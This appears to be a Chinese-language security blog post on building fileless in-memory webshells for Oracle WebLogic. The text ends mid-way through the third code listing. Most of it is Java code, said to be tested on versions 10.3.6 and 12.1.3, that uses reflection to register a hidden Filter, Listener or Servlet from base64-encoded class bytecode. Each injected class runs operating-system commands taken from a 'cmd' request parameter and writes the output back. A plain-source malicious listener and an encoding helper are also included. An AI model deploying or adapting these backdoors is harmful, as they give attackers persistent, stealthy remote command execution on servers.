Weblogic 内存马分析与实现

#Filter

#Filter 加载过程分析

Weblogic Filter内存马和Tomcat其实差不多。

weblogic.servlet.internal.WebAppServletContext#wrapRun中通过getFilterChain()获取包含Filter链的FilterChainImpl对象。 跟进getFilterChain()方法,该方法在weblogic.servlet.internal.FilterManager类中,可以看到该方法实例化了一个FilterChainImpl类,并添加包含Filter的wrapper到该对象中。 返回FilterChainImpl对象 获取了FilterChainImpl对象后,再调用该对象的doFilter()方法,跟进doFilter()方法。可以看到这步就获取注册的Filter类,并调用Filter的doFilter方法。 手动注册Filter类

weblogic.servlet.internal.FilterManager类中有一个registerFilter方法可以动态注册Filter。 该方法中,创建FilterWrapper对象传入FilterClassName字符串后,在this.loadFilter(fw)中对该filter类进行加载。 loadFilter中调用this.context.createInstance(filterClassName)对类进行加载,跟进查看。 使用的是weblogic自己定义的一个classloader,调用自定义的loadclass方法。ChangeAwareClassLoader.loadClass方法会从cache中查找是否存在待查找的类,也就是this.cachedClasses这个变量。 总结: 如果要手动注册Filter,只需要将恶意filter添加到cachedClasses中,然后调用registerFilter接口进行添加即可。

#实现代码

Tips: 代码解释看注释

测试weblogic 1036和12.1.3成功

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
package com.example.web;

import sun.misc.BASE64Decoder;
import weblogic.servlet.internal.ServletRequestImpl;
import weblogic.servlet.internal.WebAppServletContext;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;
import javax.servlet.http.*;

public class HelloServlet extends HttpServlet {
    private String message;

    public void init() {
        message = "Hello World!";
    }

    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        Thread thread = Thread.currentThread();
        try {
            //获取WebAppServletContext
            Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
            workEntry.setAccessible(true);
            Object workentry = workEntry.get(thread);
            WebAppServletContext webAppServletContext=null;
            try{ //weblogic 12.1.3
                Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
                connectionHandler.setAccessible(true);
                Object http = connectionHandler.get(workentry);

                Field request1 = http.getClass().getDeclaredField("request");
                request1.setAccessible(true);
                ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);

                Field context = servletRequest.getClass().getDeclaredField("context");
                context.setAccessible(true);
                webAppServletContext = (WebAppServletContext) context.get(servletRequest);

            }catch (Exception e){
                //weblogic 1036
                Field context = workentry.getClass().getDeclaredField("context");
                context.setAccessible(true);
                webAppServletContext = (WebAppServletContext) context.get(workentry);
            }
            if(webAppServletContext==null){throw new Exception("null");}
            //加载字节码
            String encode_class = "yv66vgAAADQAkgoAHgBJCAA/CwBKAEsIAEwKAE0ATgoACQBPCABQCgAJAFEHAFIIAFMIAFQIAFUIAFYKAFcAWAoAVwBZCgBaAFsHAFwKABEAXQgAXgoAEQBfCgARAGAKABEAYQgAYgsAYwBkCgBlAGYKAGUAZwoAZQBoCwBpAGoHAGsHAGwHAG0BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAC0xjbWRGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAbgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABndyaXRlcgEAEExqYXZhL2lvL1dyaXRlcjsBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFIHADAHAG8HAFwHAHABAAdkZXN0cm95AQAKU291cmNlRmlsZQEADmNtZEZpbHRlci5qYXZhDAAgACEHAHEMAHIAcwEAB29zLm5hbWUHAHQMAHUAcwwAdgB3AQADd2luDAB4AHkBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jAQACc2gBAAItYwcAegwAewB8DAB9AH4HAH8MAIAAgQEAEWphdmEvdXRpbC9TY2FubmVyDAAgAIIBAAJcYQwAgwCEDACFAIYMAIcAdwEAAAcAiAwAiQCKBwCLDACMAI0MAI4AIQwAjwAhBwCQDAAtAJEBAAljbWRGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAOamF2YS9pby9Xcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAB0AHgABAB8AAAAEAAEAIAAhAAEAIgAAAC8AAQABAAAABSq3AAGxAAAAAgAjAAAABgABAAAABQAkAAAADAABAAAABQAlACYAAAABACcAKAACACIAAAA1AAAAAgAAAAGxAAAAAgAjAAAABgABAAAACQAkAAAAFgACAAAAAQAlACYAAAAAAAEAKQAqAAEAKwAAAAQAAQAsAAEALQAuAAIAIgAAAYAABAAKAAAAoisSArkAAwIAOgQZBMYAjQE6BRIEuAAFtgAGEge2AAiZABsGvQAJWQMSClNZBBILU1kFGQRTOgWnABgGvQAJWQMSDFNZBBINU1kFGQRTOgW4AA4ZBbYAD7YAEDoGuwARWRkGtwASEhO2ABQ6BxkHtgAVmQALGQe2ABanAAUSFzoILLkAGAEAOgkZCRkItgAZGQm2ABoZCbYAGy0rLLkAHAMAsQAAAAMAIwAAAD4ADwAAAA0ACgAOAA8ADwASABEAIgASADoAFABPABcAXAAYAGwAGQCAABoAiAAbAI8AHACUAB0AmQAfAKEAIAAkAAAAZgAKABIAhwAvADAABQBcAD0AMQAyAAYAbAAtADMANAAHAIAAGQA1ADYACACIABEANwA4AAkAAACiACUAJgAAAAAAogA5ADoAAQAAAKIAOwA8AAIAAACiAD0APgADAAoAmAA/ADYABABAAAAAHAAF/QA6BwBBBwBCFP0ALAcAQwcAREEHAEH4ABoAKwAAAAYAAgBFACwAAQBGACEAAQAiAAAAKwAAAAEAAAABsQAAAAIAIwAAAAYAAQAAACcAJAAAAAwAAQAAAAEAJQAmAAAAAQBHAAAAAgBI";
            byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
            defineClass.setAccessible(true);
            //这里为了适配weblogic 1036 必须反射获取webAppServletContext中的classLoader
            Field loader = webAppServletContext.getClass().getDeclaredField("classLoader");
            loader.setAccessible(true);
            ClassLoader ClassLoader0= (ClassLoader) loader.get(webAppServletContext);
            Class filter_class = (Class) defineClass.invoke(ClassLoader0, decode_class, 0, decode_class.length);

            //获取ChangeAwareClassLoader,因为cachedClasses这个变量在ChangeAwareClassLoader中
            Field classLoader = webAppServletContext.getClass().getDeclaredField("classLoader");
            classLoader.setAccessible(true);
            ClassLoader classLoader1 = (ClassLoader) classLoader.get(webAppServletContext);
            //获取cachedClasses
            Field cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");
            cachedClasses.setAccessible(true);
            Object cachedClasses_map = cachedClasses.get(classLoader1);
            Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);
            get.setAccessible(true);
            //如果cachedClasses中不存在cmdFilter类
            if (get.invoke(cachedClasses_map, "cmdFilter") == null) {
                //把cmdFilter的class 存入cachedClasses中
                Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);
                put.setAccessible(true);
                put.invoke(cachedClasses_map, "cmdFilter", filter_class);
                //获取filterManager类
                Field filterManager = webAppServletContext.getClass().getDeclaredField("filterManager");
                filterManager.setAccessible(true);
                Object o = filterManager.get(webAppServletContext);
                //注册Filter
                Method registerFilter = o.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
                registerFilter.setAccessible(true);
                registerFilter.invoke(o, "test", "cmdFilter", new String[]{"/*"}, null, null, null);
                response.getWriter().write("success!!!");
            }

        } catch (Exception e) {

        }

    }

    public void destroy() {
    }
}

#Listener

#Listener 注册过程分析

和Filter注册过程差不多,webAppServletContext中的registerListener方法可以注册Listener,但当context启动后不能直接通过该方法注册,下面来分析一下。 跟进this.addListener() ,看到根据类名创建EventListener对象,传入到this.addListener(Listener) 然后再继续跟进this.addListener() ,可以看到对当前线程是否启动进行检查。通过的话便可调用this.eventsManager.addEventListener(t); 添加Listener。 如果当前webAppServletContext.ContextPhase.START ==this.phase 那么就抛出异常 所以可以模拟添加Listener的方法。先通过反射创建EventListener,再调用eventsManager的addEventListener方法即可。

#实现代码

测试Weblogic 1036和12.1.3成功

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
package com.example.web;

import sun.misc.BASE64Decoder;
import weblogic.servlet.internal.EventsManager;
import weblogic.servlet.internal.ServletRequestImpl;
import weblogic.servlet.internal.WebAppServletContext;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.EventListener;

public class guguServlet extends HttpServlet {
    public void init() {
    }

    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        Thread thread = Thread.currentThread();
        try {
            //获取WebAppServletContext
            Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
            workEntry.setAccessible(true);
            Object workentry = workEntry.get(thread);
            WebAppServletContext webAppServletContext=null;
            try{ //weblogic 12.1.3
                Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
                connectionHandler.setAccessible(true);
                Object http = connectionHandler.get(workentry);

                Field request1 = http.getClass().getDeclaredField("request");
                request1.setAccessible(true);
                ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);

                Field context = servletRequest.getClass().getDeclaredField("context");
                context.setAccessible(true);
                webAppServletContext = (WebAppServletContext) context.get(servletRequest);

            }catch (Exception e){
                //weblogic 1036
                Field context = workentry.getClass().getDeclaredField("context");
                context.setAccessible(true);
                webAppServletContext = (WebAppServletContext) context.get(workentry);
            }
            if(webAppServletContext==null){throw new Exception("null");}
            //加载字节码
            String encode_class ="yv66vgAAADQAdwoAGAA8CgA9AD4IADELAD8AQAoAQQBCCgBBAEMHAEQHAEUKAEYARwoACABICgAHAEkHAEoKAAwAPAoABwBLCgAMAEwIAE0KAAwATgcATwoAEgBQCgBRAFIKAFMAVAcAVQcAVgcAVwcAWAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9leGFtcGxlL3dlYi9teUxpc3RlbmVyOwEAEHJlcXVlc3REZXN0cm95ZWQBACYoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3RFdmVudDspVgEAE3NlcnZsZXRSZXF1ZXN0RXZlbnQBACNMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdEV2ZW50OwEAEnJlcXVlc3RJbml0aWFsaXplZAEAAnBzAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEAAmJyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQACc2IBABhMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAARsaW5lAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQAIcmVzcG9uc2UBAC9Md2VibG9naWMvc2VydmxldC9pbnRlcm5hbC9TZXJ2bGV0UmVzcG9uc2VJbXBsOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFYHAFkHAFoHAFsHAEQHAEoHAFUBAApTb3VyY2VGaWxlAQAPbXlMaXN0ZW5lci5qYXZhDAAaABsHAFkMAFwAXQcAXgwAXwBgBwBhDABiAGMMAGQAZQEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyBwBbDABmAGcMABoAaAwAGgBpAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAagBrDABsAG0BAAQ8YnI+DABuAGsBACx3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRSZXF1ZXN0SW1wbAwAbwBwBwBxDAByAHMHAHQMAHUAdgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpjb20vZXhhbXBsZS93ZWIvbXlMaXN0ZW5lcgEAEGphdmEvbGFuZy9PYmplY3QBACRqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0TGlzdGVuZXIBACFqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0RXZlbnQBABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABFnZXRTZXJ2bGV0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAIdG9TdHJpbmcBAAtnZXRSZXNwb25zZQEAMSgpTHdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvU2VydmxldFJlc3BvbnNlSW1wbDsBAC13ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRSZXNwb25zZUltcGwBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhABcAGAABABkAAAADAAEAGgAbAAEAHAAAAC8AAQABAAAABSq3AAGxAAAAAgAdAAAABgABAAAADAAeAAAADAABAAAABQAfACAAAAABACEAIgABABwAAAA1AAAAAgAAAAGxAAAAAgAdAAAABgABAAAAEAAeAAAAFgACAAAAAQAfACAAAAAAAAEAIwAkAAEAAQAlACIAAQAcAAABXwAFAAkAAAByK7YAAhIDuQAEAgBNLMYAZLgABSy2AAZOuwAHWbsACFkttgAJtwAKtwALOgS7AAxZtwANOgUZBLYADlk6BsYAExkFGQa2AA8SELYAD1en/+gZBbYAEToHK7YAAsAAErYAEzoIGQi2ABQZB7YAFacABE6xAAEAEABtAHAAFgADAB0AAAA2AA0AAAAUAAwAFQAQABcAGAAYACwAGQA1ABsAQAAcAFAAHgBXAB8AYwAgAG0AIgBwACEAcQAkAB4AAABcAAkAGABVACYAJwADACwAQQAoACkABAA1ADgAKgArAAUAPQAwACwALQAGAFcAFgAuAC0ABwBjAAoALwAwAAgAAAByAB8AIAAAAAAAcgAjACQAAQAMAGYAMQAtAAIAMgAAADUABP8ANQAGBwAzBwA0BwA1BwA2BwA3BwA4AAD8ABoHADX/AB8AAwcAMwcANAcANQABBwA5AAABADoAAAACADs=";
            byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
            defineClass.setAccessible(true);
            //这里为了适配weblogic 1036 必须反射获取webAppServletContext中的classLoader
            Field loader = webAppServletContext.getClass().getDeclaredField("classLoader");
            loader.setAccessible(true);
            ClassLoader ClassLoader0= (ClassLoader) loader.get(webAppServletContext);
            Class filter_class = (Class) defineClass.invoke(ClassLoader0, decode_class, 0, decode_class.length);

            //获取ChangeAwareClassLoader,因为cachedClasses这个变量在ChangeAwareClassLoader中
            Field classLoader = webAppServletContext.getClass().getDeclaredField("classLoader");
            classLoader.setAccessible(true);
            ClassLoader classLoader1 = (ClassLoader) classLoader.get(webAppServletContext);
            //获取cachedClasses
            Field cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");
            cachedClasses.setAccessible(true);
            Object cachedClasses_map = cachedClasses.get(classLoader1);
            Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);
            get.setAccessible(true);
            //如果cachedClasses中不存在cmdListener类
            if (get.invoke(cachedClasses_map, "cmdListener") == null) {
                //把cmdListener的class 存入cachedClasses中
                Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);
                put.setAccessible(true);
                put.invoke(cachedClasses_map, "cmdListener", filter_class);

                Field eM = webAppServletContext.getClass().getDeclaredField("eventsManager");
                eM.setAccessible(true);
                EventsManager eventsManager=(EventsManager)eM.get(webAppServletContext);
                try {
                    //Weblogic 12.1.3
                    //创建EventListener
                    Method listen=eventsManager.getClass().getDeclaredMethod("createListener", String.class);
                    listen.setAccessible(true);
                    EventListener listener=(EventListener)listen.invoke(eventsManager,"cmdListener");

                    //调用addEventListener添加Listener
                    Method addListener = eventsManager.getClass().getDeclaredMethod("addEventListener", EventListener.class);
                    addListener.setAccessible(true);
                    addListener.invoke(eventsManager,listener);
                    response.getWriter().write("success!!!");
                }catch (Exception e){
                    //weblogic1036 可以直接调用registerListener添加
                    Method listen=webAppServletContext.getClass().getDeclaredMethod("registerListener", String.class);
                    listen.setAccessible(true);
                    listen.invoke(webAppServletContext,"cmdListener");
                    response.getWriter().write("success!!!");
                }

            }

        } catch (Exception e) {

        }

    }

    public void destroy() {
    }

}

恶意Listener

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package com.example.web;

import weblogic.servlet.internal.ServletRequestImpl;
import weblogic.servlet.internal.ServletResponseImpl;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class myListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {

    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
        String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
        if (cmd != null) {
            try {
                Process ps = Runtime.getRuntime().exec(cmd);
                BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
                StringBuffer sb = new StringBuffer();
                String line;
                while ((line = br.readLine()) != null) {
                    sb.append(line).append("<br>");//执行结果加上回车
                }
                String result = sb.toString();
                ServletResponseImpl response= ((ServletRequestImpl) servletRequestEvent.getServletRequest()).getResponse();
                response.getWriter().write(result);
            } catch (IOException e) {
            }
        }
    }
}

base64脚本,用于编码class文件。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package test1;

import sun.misc.BASE64Encoder;

import java.io.*;

public class run {
    public static void main(String[] args) {
        try{
            File file = new File("/Users/myzxcg/xx/IdeaProjects/web/target/classes/com/example/web/myListener.class");
            FileInputStream fileInputStream = new FileInputStream(file);
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            byte[] bytes = new byte[4096];
            int len;
            while ((len = fileInputStream.read(bytes))!=-1){
                byteArrayOutputStream.write(bytes,0,len);
            }
            String encode = new BASE64Encoder().encode(byteArrayOutputStream.toByteArray());
            System.out.println(encode.replaceAll("\\r|\\n",""));
        }catch (Exception e){
            e.printStackTrace();
        }

    }
}

#Servlet

只需要在servletMapping中添加URI和对应的URLMatchHelper对象即可。 实现代码

在Weblogic 1036和weblogic 12.1.3测试成功。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
package com.example.web;

import sun.misc.BASE64Decoder;
import weblogic.servlet.internal.ServletRequestImpl;
import weblogic.servlet.internal.ServletStubImpl;
import weblogic.servlet.internal.WebAppServletContext;
import weblogic.servlet.utils.ServletMapping;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;

public class guguServlet extends HttpServlet {
    public void init() {
    }

    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        try {
            String URI = "/aaa";
           //获取servletContext
            Thread thread = Thread.currentThread();
            //获取WebAppServletContext
            Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
            workEntry.setAccessible(true);
            Object workentry = workEntry.get(thread);
            WebAppServletContext servletContext = null;
            try { //weblogic 12.1.3
                Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
                connectionHandler.setAccessible(true);
                Object http = connectionHandler.get(workentry);

                Field request1 = http.getClass().getDeclaredField("request");
                request1.setAccessible(true);
                ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);

                Field context = servletRequest.getClass().getDeclaredField("context");
                context.setAccessible(true);
                servletContext = (WebAppServletContext) context.get(servletRequest);

            } catch (Exception e) {
                //weblogic 1036
                Field context = workentry.getClass().getDeclaredField("context");
                context.setAccessible(true);
                servletContext = (WebAppServletContext) context.get(workentry);
            }
            // 获取servletMapping
            Method getServletMapping = servletContext.getClass().getDeclaredMethod("getServletMapping");
            getServletMapping.setAccessible(true);
            ServletMapping mappings = (ServletMapping) getServletMapping.invoke(servletContext);
            ServletStubImpl servletStub = null;
            // 使用ServletStub包装HttpServlet
            String encode_class = "yv66vgAAADQAhwoAHQBDCAArCwBEAEUIAEYKAEcASAoACQBJCABKCgAJAEsHAEwIAE0IAE4IAE8IAFAKAFEAUgoAUQBTCgBUAFUHAFYKABEAVwgAWAoAEQBZCgARAFoKABEAWwgAXAsAXQBeCgBfAGAKAF8AYQoAXwBiBwBjBwBkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB1MY29tL2V4YW1wbGUvd2ViL2h0dHBTZXJ2bGV0OwEABWRvR2V0AQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspVgEAA3JlcQEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEABHJlc3ABAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHaXNMaW51eAEAAVoBAAVvc1R5cAEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEAA291dAEAFUxqYXZhL2lvL1ByaW50V3JpdGVyOwEADVN0YWNrTWFwVGFibGUHAEwHADEHAGUHAFYBAApFeGNlcHRpb25zBwBmBwBnAQAKU291cmNlRmlsZQEAEGh0dHBTZXJ2bGV0LmphdmEMAB4AHwcAaAwAaQBqAQAHb3MubmFtZQcAawwAbABqDABtAG4BAAN3aW4MAG8AcAEAEGphdmEvbGFuZy9TdHJpbmcBAARiYXNoAQACLWMBAAdjbWQuZXhlAQACL2MHAHEMAHIAcwwAdAB1BwB2DAB3AHgBABFqYXZhL3V0aWwvU2Nhbm5lcgwAHgB5AQACXGEMAHoAewwAfAB9DAB+AG4BAAAHAH8MAIAAgQcAggwAgwCEDACFAB8MAIYAHwEAG2NvbS9leGFtcGxlL3dlYi9odHRwU2VydmxldAEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldAEAE2phdmEvaW8vSW5wdXRTdHJlYW0BAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJZ2V0V3JpdGVyAQAX